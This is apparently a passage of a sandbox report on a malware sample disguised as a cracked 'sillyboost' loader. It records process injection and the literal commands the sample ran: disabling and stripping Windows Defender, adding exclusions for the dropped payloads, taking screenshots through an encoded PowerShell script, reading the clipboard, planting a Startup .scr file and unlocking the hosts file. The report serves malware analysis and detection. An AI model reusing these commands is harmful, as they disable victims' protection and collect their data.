Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 5032 wrote to memory of 3012 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\loader.exe C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe
PID 5032 wrote to memory of 3012 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\loader.exe C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe
PID 3012 wrote to memory of 4768 N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe C:\Windows\system32\cmd.exe
PID 3012 wrote to memory of 4768 N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe C:\Windows\system32\cmd.exe
PID 4768 wrote to memory of 3196 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe
PID 4768 wrote to memory of 3196 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe
PID 3196 wrote to memory of 3308 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe
PID 3196 wrote to memory of 3308 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe
PID 3012 wrote to memory of 3308 N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe
PID 3308 wrote to memory of 2620 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\System32\Conhost.exe
PID 3308 wrote to memory of 2620 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\System32\Conhost.exe
PID 3308 wrote to memory of 4048 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\System32\Wbem\WMIC.exe
PID 3308 wrote to memory of 4048 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\System32\Wbem\WMIC.exe
PID 3308 wrote to memory of 3608 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 3308 wrote to memory of 3608 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 3308 wrote to memory of 2092 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 3308 wrote to memory of 2092 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 3308 wrote to memory of 1156 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 3308 wrote to memory of 1156 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 3308 wrote to memory of 2764 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 3308 wrote to memory of 2764 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 4048 wrote to memory of 3748 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4048 wrote to memory of 3748 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3308 wrote to memory of 4960 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 3308 wrote to memory of 4960 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 2764 wrote to memory of 624 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2764 wrote to memory of 624 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 3608 wrote to memory of 2448 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3608 wrote to memory of 2448 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1156 wrote to memory of 2012 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 1156 wrote to memory of 2012 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 4960 wrote to memory of 2252 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 4960 wrote to memory of 2252 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2620 wrote to memory of 2944 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2620 wrote to memory of 2944 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2092 wrote to memory of 628 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\bound.exe
PID 2092 wrote to memory of 628 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\bound.exe
PID 3308 wrote to memory of 4820 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\System32\Conhost.exe
PID 3308 wrote to memory of 4820 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\System32\Conhost.exe
PID 4820 wrote to memory of 5112 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 4820 wrote to memory of 5112 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 628 wrote to memory of 4284 N/A C:\Users\Admin\AppData\Local\Temp\bound.exe C:\Windows\system32\cmd.exe
PID 628 wrote to memory of 4284 N/A C:\Users\Admin\AppData\Local\Temp\bound.exe C:\Windows\system32\cmd.exe
PID 3308 wrote to memory of 1760 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 3308 wrote to memory of 1760 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 1760 wrote to memory of 2364 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 1760 wrote to memory of 2364 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 3308 wrote to memory of 1008 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\getmac.exe
PID 3308 wrote to memory of 1008 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\getmac.exe
PID 1008 wrote to memory of 3248 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 1008 wrote to memory of 3248 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 4284 wrote to memory of 2252 N/A C:\Users\Admin\AppData\Local\Temp\bound.exe C:\Windows\system32\cmd.exe
PID 4284 wrote to memory of 2252 N/A C:\Users\Admin\AppData\Local\Temp\bound.exe C:\Windows\system32\cmd.exe
PID 3308 wrote to memory of 3108 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 3308 wrote to memory of 3108 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 3108 wrote to memory of 3904 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 3108 wrote to memory of 3904 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 3308 wrote to memory of 3500 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 3308 wrote to memory of 3500 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 3500 wrote to memory of 1280 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\wbem\wmiprvse.exe
PID 3500 wrote to memory of 1280 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\wbem\wmiprvse.exe
PID 3308 wrote to memory of 3416 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 3308 wrote to memory of 3416 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 3308 wrote to memory of 3204 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A
N/A N/A C:\Windows\system32\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\loader.exe

"C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\loader.exe"

C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe

"C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\loader.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "start silly.exe"

C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe

silly.exe

C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe

silly.exe

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "start bound.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Make sure to join discord.gg/input for more Tools', 0, 'Crack Done <3 ', 48+16);close()""

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'

C:\Windows\system32\mshta.exe

mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Make sure to join discord.gg/input for more Tools', 0, 'Crack Done <3 ', 48+16);close()"

C:\Windows\System32\Wbem\WMIC.exe

wmic csproduct get uuid

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe'

C:\Users\Admin\AppData\Local\Temp\bound.exe

bound.exe

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"

C:\Windows\system32\reg.exe

REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2

C:\Users\Admin\AppData\Local\Temp\bound.exe

bound.exe

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"

C:\Windows\system32\reg.exe

REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "ver"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\​ ‏  .scr'"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\​ ‏  .scr'

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "systeminfo"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-Clipboard

C:\Windows\System32\Wbem\WMIC.exe

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=

C:\Windows\system32\systeminfo.exe

systeminfo

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\reg.exe

REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\System32\Conhost.exe

